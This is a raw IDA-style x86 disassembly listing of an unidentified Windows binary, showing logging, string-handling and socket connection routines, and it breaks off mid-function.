loc_419AA2:				; CODE XREF: ___:00419ABEj
		cmp	byte ptr [esi],	0
		jz	short loc_419AB2
		push	edi
		push	esi
		call	ebx
		add	esp, 8
		test	eax, eax
		jnz	short loc_419AC6


loc_419AB2:				; CODE XREF: ___:00419AA5j
		add	esi, 80h
		cmp	esi, offset dword_50AE5C
		jl	short loc_419AA2
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_419AC6:				; CODE XREF: ___:00419AB0j
		pop	edi
		pop	esi
		mov	eax, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419AE0	proc near		; CODE XREF: sub_4010D2j

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		lea	eax, [esp+10h+var_10]
		push	esi
		push	edi
		push	eax
		nop
		call	near ptr 27B0000h
		mov	edi, dword_50FAFC
		mov	esi, offset dword_50AE5C


loc_419AFB:				; CODE XREF: sub_419AE0+3Bj
		cmp	byte ptr [esi],	0
		jz	short loc_419B0F
		push	7Fh
		lea	ecx, [esi+80h]
		push	esi
		push	ecx
		call	edi
		add	esp, 0Ch


loc_419B0F:				; CODE XREF: sub_419AE0+1Ej
		sub	esi, 80h
		cmp	esi, offset dword_506E5C
		jge	short loc_419AFB
		mov	edx, [esp+18h+arg_0]
		mov	eax, [esp+18h+var_4]
		mov	ecx, [esp+12h]
		push	edx
		mov	edx, [esp+1Ch+var_8]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		mov	eax, [esp+20h+var_10]
		and	edx, 0FFFFh
		push	ecx
		mov	ecx, [esp+1Ah]
		push	edx
		mov	edx, [esp+28h+var_10+2]
		and	eax, 0FFFFh
		and	ecx, 0FFFFh
		push	eax
		and	edx, 0FFFFh
		push	ecx
		push	edx
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	80h
		push	offset dword_506E5C
		nop
		call	near ptr 77C3FA76h
		add	esp, 28h
		pop	edi
		pop	esi
		add	esp, 10h
		retn
sub_419AE0	endp

; ---------------------------------------------------------------------------
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419BB0:				; CODE XREF: ___:004012DAj
		sub	esp, 600h
		mov	ecx, 80h
		xor	eax, eax
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	edi, [esp+10h]
		mov	esi, [esp+614h]
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+210h]
		mov	ebp, dword_50FAFC
		push	1FFh
		rep stosd
		mov	ecx, 80h
		lea	edi, [esp+414h]
		rep stosd
		lea	eax, [esp+14h]
		push	esi
		push	eax
		call	ebp
		mov	edx, [esp+628h]
		or	ecx, 0FFFFFFFFh
		mov	edi, edx
		xor	eax, eax
		add	esp, 0Ch
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, 180h
		jbe	short loc_419C21
		mov	[edx+180h], al


loc_419C21:				; CODE XREF: ___:00419C19j
		mov	ebx, [esp+618h]
		lea	ecx, [esp+10h]
		push	ebx
		push	ecx
		call	near ptr 77C47C60h
		nop
		add	esp, 8
		test	eax, eax
		jz	loc_419D32


loc_419C3F:				; CODE XREF: ___:00419D25j
		lea	edx, [esp+10h]
		push	ebx
		push	edx
		nop
		call	near ptr 77C47C60h
		mov	esi, eax
		mov	edi, ebx
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	1FFh
		add	ecx, esi
		lea	eax, [esp+41Ch]
		push	ecx
		push	eax
		call	ebp
		lea	ecx, [esp+24h]
		push	1FFh
		lea	edx, [esp+228h]
		push	ecx
		push	edx
		mov	byte ptr [esi],	0
		call	ebp
		lea	edx, [esi+1]
		add	esp, 20h
		test	edx, edx
		jz	short loc_419D00
		lea	eax, [ebx-1]
		test	eax, eax
		jz	short loc_419D00
		lea	edi, [ebx-1]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, edx
		mov	esi, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		cmp	ecx, esi
		jbe	short loc_419CDD
		mov	edx, [esp+61Ch]
		lea	ecx, [esp+410h]
		push	ecx
		lea	eax, [esp+214h]
		push	edx
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset aSSS	; "%s%s%s"
		push	ecx
		call	near ptr byte_5EA1BD
		nop
		add	esp, 14h
		jmp	short loc_419D00
; ---------------------------------------------------------------------------


loc_419CDD:				; CODE XREF: ___:00419CAEj
		mov	edx, [esp+61Ch]
		lea	eax, [esp+210h]
		push	edx
		push	eax
		lea	ecx, [esp+18h]
		push	offset aSS_3	; "%s%s"
		push	ecx
		nop
		call	near ptr byte_5EA1BD
		add	esp, 10h


loc_419D00:				; CODE XREF: ___:00419C8Aj
					; ___:00419C91j ...
		mov	edx, [esp+61Ch]
		mov	esi, dword_50FAF8
		push	edx
		push	ebx
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	short loc_419D2B
		lea	eax, [esp+10h]
		push	ebx
		push	eax
		call	esi
		add	esp, 8
		test	eax, eax
		jnz	loc_419C3F


loc_419D2B:				; CODE XREF: ___:00419D16j
		mov	esi, [esp+614h]


loc_419D32:				; CODE XREF: ___:00419C39j
		lea	edi, [esp+10h]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		push	ecx
		lea	ecx, [esp+14h]
		push	ecx
		push	esi
		call	ebp
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 600h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 70h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419DD0:				; CODE XREF: ___:004018CFj
		sub	esp, 10h
		push	esi
		push	0
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_419DEE
		or	eax, eax
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419DEE:				; CODE XREF: ___:00419DE5j
		mov	ecx, [esp+18h]
		xor	eax, eax
		mov	[esp+4], eax
		push	ecx
		mov	[esp+0Ch], eax
		mov	word ptr [esp+8], 2
		mov	[esp+10h], eax
		mov	[esp+14h], eax
		call	near ptr 71AB2B66h
		nop
		lea	edx, [esp+4]
		push	10h
		push	edx
		push	esi
		mov	[esp+12h], ax
		mov	dword ptr [esp+14h], 0
		nop
		call	near ptr 71AB3E00h
		test	eax, eax
		jz	short loc_419E39
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E39:				; CODE XREF: ___:00419E2Fj
		push	7FFFFFFFh
		push	esi
		nop
		call	near ptr 71AB88D3h
		test	eax, eax
		jz	short loc_419E51
		or	eax, 0FFFFFFFFh
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------


loc_419E51:				; CODE XREF: ___:00419E47j
		mov	eax, esi
		pop	esi
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_419E90:				; CODE XREF: ___:00401E65j
		push	edi
		xor	edi, edi
		mov	eax, offset byte_4DE2D5


loc_419E98:				; CODE XREF: ___:00419EA8j
		cmp	dword ptr [eax], 0
		jz	short loc_419EAA
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4E5E45
		jle	short loc_419E98


loc_419EAA:				; CODE XREF: ___:00419E9Bj
		cmp	edi, 13h
		jle	short loc_419EB4
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419EB4:				; CODE XREF: ___:00419EADj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4DE1DBh[eax*2]
		mov	eax, [esp+10h]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+24h]
		mov	edx, [esp+1Ch]
		mov	eax, [esp+20h]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+28h]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_419F50	proc near		; CODE XREF: sub_4013E8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	edi
		xor	edi, edi
		mov	eax, offset dword_4D6765


loc_419F58:				; CODE XREF: sub_419F50+18j
		cmp	dword ptr [eax], 0
		jz	short loc_419F6A
		add	eax, 316h
		inc	edi
		cmp	eax, offset byte_4DE2D5
		jle	short loc_419F58


loc_419F6A:				; CODE XREF: sub_419F50+Bj
		cmp	edi, 13h
		jle	short loc_419F74
		or	eax, 0FFFFFFFFh
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_419F74:				; CODE XREF: sub_419F50+1Dj
		lea	eax, [edi+edi*4]
		push	ebx
		shl	eax, 4
		sub	eax, edi
		mov	ebx, dword_50FBF0
		push	esi
		lea	eax, [eax+eax*4]
		lea	esi, ds:4D666Bh[eax*2]
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	esi
		call	ebx
		mov	ecx, [esp+14h+arg_C]
		mov	edx, [esp+14h+arg_4]
		mov	eax, [esp+14h+arg_8]
		mov	[esi+0FAh], ecx
		mov	ecx, [esp+14h+arg_10]
		mov	[esi+0FEh], edi
		add	esp, 8
		mov	[esi+106h], edx
		mov	[esi+10Ah], eax
		add	esi, 10Eh
		push	ecx
		push	esi
		call	ebx
		add	esp, 8
		mov	eax, edi
		pop	esi
		pop	ebx
		pop	edi
		retn
sub_419F50	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A010	proc near		; CODE XREF: sub_401C35j

var_190		= byte ptr -190h
arg_0		= byte ptr  4

		sub	esp, 190h
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		mov	dword ptr [ebp+0], offset off_43E0BC
		mov	eax, dword_50BB28
		test	eax, eax
		jnz	short loc_41A048
		mov	eax, dword_50BB28
		inc	eax
		mov	dword_50BB28, eax
		lea	ecx, [esp+19Ch+var_190]
		push	ecx
		push	202h
		nop
		call	near ptr 71AB664Dh
		jmp	short loc_41A055
; ---------------------------------------------------------------------------


loc_41A048:				; CODE XREF: sub_41A010+19j
		mov	edx, dword_50BB28
		inc	edx
		mov	dword_50BB28, edx


loc_41A055:				; CODE XREF: sub_41A010+36j
		mov	al, [esp+19Ch+arg_0]
		or	ecx, 0FFFFFFFFh
		mov	[ebp+80Ah], al
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[ebp+806h], ecx
		mov	byte ptr [ebp+80Ch], 0
		mov	word ptr [ebp+4], 0
		repne scasb
		not	ecx
		sub	edi, ecx
		lea	edx, [ebp+6]
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		mov	eax, ebp
		and	ecx, 3
		rep movsb
		pop	edi
		mov	byte ptr [ebp+80Bh], 0
		pop	esi
		pop	ebp
		add	esp, 190h
		retn	4
sub_41A010	endp

; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A0E0	proc near		; CODE XREF: ___:004018D4j sub_401AF5j

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_401FC8
		test	[esp+4+arg_0], 1
		jz	short loc_41A0F8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_41A0F8:				; CODE XREF: sub_41A0E0+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_41A0E0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A110	proc near		; CODE XREF: sub_401FC8j
		mov	al, [ecx+80Ah]
		mov	dword ptr [ecx], offset	off_43E0BC
		test	al, al
		jnz	short loc_41A125
		call	sub_4014DD


loc_41A125:				; CODE XREF: sub_41A110+Ej
		mov	eax, 1
		mov	ecx, dword_50BB28
		cmp	ecx, eax
		jle	short loc_41A140
		mov	eax, dword_50BB28
		dec	eax
		mov	dword_50BB28, eax

locret_41A13F:				; CODE XREF: sub_41A110:loc_41A140j
		retn
; ---------------------------------------------------------------------------


loc_41A140:				; CODE XREF: sub_41A110+22j
		jnz	short locret_41A13F
		mov	ecx, dword_50BB28
		dec	ecx
		mov	dword_50BB28, ecx
		nop
		jmp	near ptr 71AB4428h
sub_41A110	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_41A180:				; CODE XREF: ___:004015A0j
		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset loc_43ACCB
		push	eax
		mov	large fs:0, esp
		sub	esp, 814h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jz	loc_41A231
		mov	al, [esi+80Bh]
		test	al, al
		jz	short loc_41A1B9
		mov	al, 1
		jmp	short loc_41A231
; ---------------------------------------------------------------------------


loc_41A1B9:				; CODE XREF: ___:0041A1B3j
		push	ebx
		push	edi
		mov	edi, [esp+830h]
		push	800h
		lea	eax, [esi+6]
		push	edi
		push	eax
		nop
		call	near ptr 77C47A90h
		mov	ebx, [esp+840h]
		add	esp, 0Ch
		lea	ecx, [esp+0Ch]
		mov	[esi+4], bx
		call	sub_401186
		mov	ecx, [esp+83Ch]
		mov	edx, [esp+838h]
		push	ecx
		push	edx
		push	ebx
		push	edi
		lea	ecx, [esp+1Ch]
		mov	dword ptr [esp+838h], 0
		call	sub_401636
		push	eax
		mov	ecx, esi
		call	sub_4020C7
		lea	ecx, [esp+0Ch]
		mov	bl, al
		mov	dword ptr [esp+828h], 0FFFFFFFFh
		call	sub_40186B
		mov	al, bl
		pop	edi
		pop	ebx


loc_41A231:				; CODE XREF: ___:0041A1A5j
					; ___:0041A1B7j
		mov	ecx, [esp+818h]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 820h
		retn	10h
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A290	proc near		; CODE XREF: sub_40195Bj
		mov	al, byte_443DC0
		retn
sub_41A290	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A2B0	proc near		; CODE XREF: sub_4020C7j

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= byte ptr  10h

		sub	esp, 11Ch
		push	ebp
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A2D0
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A2D0:				; CODE XREF: sub_41A2B0+12j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A471
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A30A
		mov	ecx, esi
		call	sub_4014DD
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A30A:				; CODE XREF: sub_41A2B0+43j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A319
		push	1
		jmp	short loc_41A31B
; ---------------------------------------------------------------------------


loc_41A319:				; CODE XREF: sub_41A2B0+63j
		push	0


loc_41A31B:				; CODE XREF: sub_41A2B0+67j
		mov	ecx, esi
		call	sub_4018BB
		mov	edi, [esp+128h+arg_4]
		xor	eax, eax
		mov	[esp+128h+var_114], eax
		push	edi
		mov	[esp+12Ch+var_110], eax
		mov	[esi+4], di
		mov	[esp+12Ch+var_10C], eax
		mov	word ptr [esp+12Ch+var_114], 2
		mov	[esp+12Ch+var_108], eax
		nop
		call	near ptr 71AB2B66h
		mov	ecx, [esp+128h+arg_0]
		mov	word ptr [esp+128h+var_114+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+128h+var_114]
		push	10h
		push	edx
		push	eax
		mov	[esp+134h+var_110], ecx
		mov	[esi+4], di
		nop
		call	near ptr 71AB406Ah
		mov	ebp, dword_50FC44
		test	eax, eax
		jge	short loc_41A3BC
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A3AD
		call	ebp
		cmp	eax, 0Bh
		jz	short loc_41A3AD
		call	ebp
		cmp	eax, 2733h
		jz	short loc_41A3AD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A3AD:				; CODE XREF: sub_41A2B0+D6j
					; sub_41A2B0+DDj ...
		mov	al, byte ptr [esp+128h+arg_8]
		test	al, al
		jnz	loc_41A46A


loc_41A3BC:				; CODE XREF: sub_41A2B0+CDj
		mov	eax, [esi+806h]
		xor	ecx, ecx
		lea	edx, [esp+128h+var_11C]
		mov	edi, dword_50FC80
		mov	[esp+128h+var_11C], ecx
		push	edx
		mov	[esp+12Ch+var_118], ecx
		push	ecx
		lea	ecx, [esp+130h+var_104]
		mov	[esp+130h+var_100], eax
		push	ecx
		inc	eax
		push	0
		push	eax
		mov	[esp+13Ch+var_11C], 0Ah
		mov	[esp+13Ch+var_104], 1
		call	edi
		test	eax, eax
		jge	short loc_41A430


loc_41A3FB:				; CODE XREF: sub_41A2B0+17Ej
		call	ebp
		call	ebp
		cmp	eax, 4
		jnz	short loc_41A445
		mov	eax, [esp+128h+var_11C]
		test	eax, eax
		jnz	short loc_41A414
		mov	eax, [esp+128h+var_118]
		test	eax, eax
		jz	short loc_41A445


loc_41A414:				; CODE XREF: sub_41A2B0+15Aj
		mov	ecx, [esi+806h]
		lea	edx, [esp+128h+var_11C]
		push	edx
		lea	eax, [esp+12Ch+var_104]
		push	0
		push	eax
		inc	ecx
		push	0
		push	ecx
		call	edi
		test	eax, eax
		jl	short loc_41A3FB


loc_41A430:				; CODE XREF: sub_41A2B0+149j
		mov	al, [esp+128h+arg_C]
		test	al, al
		jnz	short loc_41A461
		mov	edx, [esp+128h+arg_8]
		push	edx
		jmp	short loc_41A463
; ---------------------------------------------------------------------------


loc_41A445:				; CODE XREF: sub_41A2B0+152j
					; sub_41A2B0+162j
		mov	ecx, esi
		call	sub_4014DD
		mov	byte ptr [esi+80Bh], 0
		pop	edi
		pop	esi
		xor	al, al
		pop	ebp
		add	esp, 11Ch
		retn	10h
; ---------------------------------------------------------------------------


loc_41A461:				; CODE XREF: sub_41A2B0+189j
		push	0


loc_41A463:				; CODE XREF: sub_41A2B0+193j
		mov	ecx, esi
		call	sub_4018BB


loc_41A46A:				; CODE XREF: sub_41A2B0+106j
		mov	byte ptr [esi+80Bh], 1


loc_41A471:				; CODE XREF: sub_41A2B0+28j
		pop	edi
		pop	esi
		mov	al, 1
		pop	ebp
		add	esp, 11Ch
		retn	10h
sub_41A2B0	endp

; ---------------------------------------------------------------------------
		db 90h
		db 80h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A500	proc near		; CODE XREF: sub_4014DDj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+806h]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A51A
		push	eax
		call	near ptr 71AB9639h
		nop


loc_41A51A:				; CODE XREF: sub_41A500+Cj
					; sub_41A500+11j
		mov	ecx, esi
		call	sub_401375
		mov	byte ptr [esi+80Bh], 0
		pop	esi
		retn
sub_41A500	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A540	proc near		; CODE XREF: sub_401375j
		push	ebp
		mov	edx, ecx
		push	esi
		push	edi
		or	ecx, 0FFFFFFFFh
		mov	edi, offset byte_446F60
		xor	eax, eax
		mov	[edx+806h], ecx
		mov	word ptr [edx+4], 0
		lea	ebp, [edx+6]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	eax, ecx
		mov	esi, edi
		mov	edi, ebp
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		pop	edi
		pop	esi
		mov	byte ptr [edx+80Bh], 0
		mov	byte ptr [edx+80Ch], 0
		pop	ebp
		retn
sub_41A540	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A5B0	proc near		; CODE XREF: sub_401488j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 10h
		push	esi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A5C6
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5C6:				; CODE XREF: sub_41A5B0+Dj
		mov	al, [esi+80Bh]
		test	al, al
		jnz	loc_41A67F
		push	6
		push	1
		push	2
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[esi+806h], eax
		jnz	short loc_41A5FB
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A5FB:				; CODE XREF: sub_41A5B0+39j
		mov	ecx, [esp+14h+arg_0]
		xor	eax, eax
		mov	[esp+14h+var_10], eax
		push	ecx
		mov	[esp+18h+var_C], eax
		mov	word ptr [esp+18h+var_10], 2
		mov	[esp+18h+var_8], eax
		mov	[esp+18h+var_4], eax
		nop
		call	near ptr 71AB2B66h
		mov	word ptr [esp+14h+var_10+2], ax
		mov	eax, [esi+806h]
		lea	edx, [esp+14h+var_10]
		push	10h
		push	edx
		push	eax
		mov	[esp+20h+var_C], 0
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41A654
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A654:				; CODE XREF: sub_41A5B0+92j
		mov	ecx, [esi+806h]
		push	32h
		push	ecx
		call	near ptr 71AB88D3h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41A678
		mov	ecx, esi
		call	sub_4014DD
		xor	al, al
		pop	esi
		add	esp, 10h
		retn	4
; ---------------------------------------------------------------------------


loc_41A678:				; CODE XREF: sub_41A5B0+B6j
		mov	byte ptr [esi+80Bh], 1


loc_41A67F:				; CODE XREF: sub_41A5B0+1Ej
		mov	al, 1
		pop	esi
		add	esp, 10h
		retn	4
sub_41A5B0	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A6D0	proc near		; CODE XREF: sub_401B81j

var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= byte ptr -114h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch

		sub	esp, 120h
		push	esi
		push	edi
		mov	esi, ecx
		call	sub_40195B
		test	al, al
		jnz	short loc_41A6EE
		pop	edi
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A6EE:				; CODE XREF: sub_41A6D0+11j
		mov	al, [esi+80Bh]
		test	al, al
		jnz	short loc_41A705
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A705:				; CODE XREF: sub_41A6D0+26j
		mov	al, [esi+80Ch]
		test	al, al
		jnz	short loc_41A781
		call	sub_40195B
		test	al, al
		jz	short loc_41A774
		mov	edi, dword_50FC80


loc_41A71E:				; CODE XREF: sub_41A6D0+A2j
		mov	eax, [esi+806h]
		lea	ecx, [esp+128h+var_11C]
		push	ecx
		mov	[esp+12Ch+var_100], eax
		push	0
		lea	edx, [esp+130h+var_104]
		push	0
		inc	eax
		push	edx
		push	eax
		mov	[esp+13Ch+var_104], 1
		mov	[esp+13Ch+var_11C], 0
		mov	[esp+13Ch+var_118], 64h
		call	edi
		test	eax, eax
		jz	short loc_41A76B
		mov	ecx, [esi+806h]
		lea	eax, [esp+128h+var_104]
		push	eax
		push	ecx
		call	sub_436F60
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_41A781


loc_41A76B:				; CODE XREF: sub_41A6D0+84j
		call	sub_40195B
		test	al, al
		jnz	short loc_41A71E


loc_41A774:				; CODE XREF: sub_41A6D0+46j
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A781:				; CODE XREF: sub_41A6D0+3Dj
					; sub_41A6D0+99j
		mov	eax, [esp+128h+arg_4]
		mov	[esp+128h+var_120], 0FFFFFFFFh
		test	eax, eax
		jz	short loc_41A7A4
		lea	edx, [esp+128h+var_11C]
		mov	[esp+128h+var_11C], 10h
		push	edx
		push	eax
		jmp	short loc_41A7B6
; ---------------------------------------------------------------------------


loc_41A7A4:				; CODE XREF: sub_41A6D0+C2j
		lea	ecx, [esp+128h+var_11C]
		lea	edx, [esp+128h+var_114]
		push	ecx
		mov	[esp+12Ch+var_11C], 10h
		push	edx


loc_41A7B6:				; CODE XREF: sub_41A6D0+D2j
		mov	eax, [esi+806h]
		push	eax
		call	near ptr 71AC1028h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[esp+128h+var_120], eax
		jnz	short loc_41A7D9
		pop	edi
		xor	al, al
		pop	esi
		add	esp, 120h
		retn	0Ch
; ---------------------------------------------------------------------------


loc_41A7D9:				; CODE XREF: sub_41A6D0+FAj
		mov	esi, [esp+128h+arg_0]
		lea	ecx, [esp+128h+var_120]
		push	ecx
		mov	ecx, esi
		call	sub_4020EA
		mov	dl, [esp+128h+arg_8]
		pop	edi
		mov	[esi+80Dh], dl
		mov	al, 1
		pop	esi
		add	esp, 120h
		retn	0Ch
sub_41A6D0	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 50h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A860	proc near		; CODE XREF: sub_4020EAj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		mov	edx, [eax]
		mov	[ecx+806h], edx
		mov	edx, [eax]
		cmp	edx, 0FFFFFFFFh
		setnz	al
		mov	[ecx+80Bh], al
		retn	4
sub_41A860	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A890	proc near		; CODE XREF: sub_401960j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	0
		push	edx
		push	eax
		call	sub_401B3B
		retn	0Ch
sub_41A890	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41A8C0	proc near		; CODE XREF: sub_401B3Bj

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_208		= dword	ptr -208h
var_204		= dword	ptr -204h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		sub	esp, 210h
		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		cmp	dword ptr [esi+806h], 0FFFFFFFFh
		jz	loc_41AA24
		mov	al, [esi+80Bh]
		test	al, al
		jz	loc_41AA24
		mov	edi, dword_50F8A4
		call	edi
		mov	ebp, eax
		mov	al, [esi+80Dh]
		test	al, al
		jnz	loc_41A9BC
		mov	ebx, [esp+220h+arg_8]
		test	ebx, ebx
		jz	loc_41A9BC
		call	sub_40195B
		test	al, al
		jz	loc_41A9BC


loc_41A91B:				; CODE XREF: sub_41A8C0+F6j
		mov	eax, [esi+806h]
		mov	ecx, 1
		mov	[esp+220h+var_100], eax
		mov	[esp+220h+var_104], ecx
		mov	[esp+220h+var_204], eax
		mov	[esp+220h+var_208], ecx
		mov	[esp+220h+var_210], 0
		mov	[esp+220h+var_20C], 64h
		call	edi
		sub	eax, ebp
		cmp	eax, ebx
		ja	loc_41AA24
		lea	eax, [esp+220h+var_210]
		lea	ecx, [esp+220h+var_208]
		push	eax
		mov	eax, [esi+806h]
		push	ecx
		lea	edx, [esp+228h+var_104]
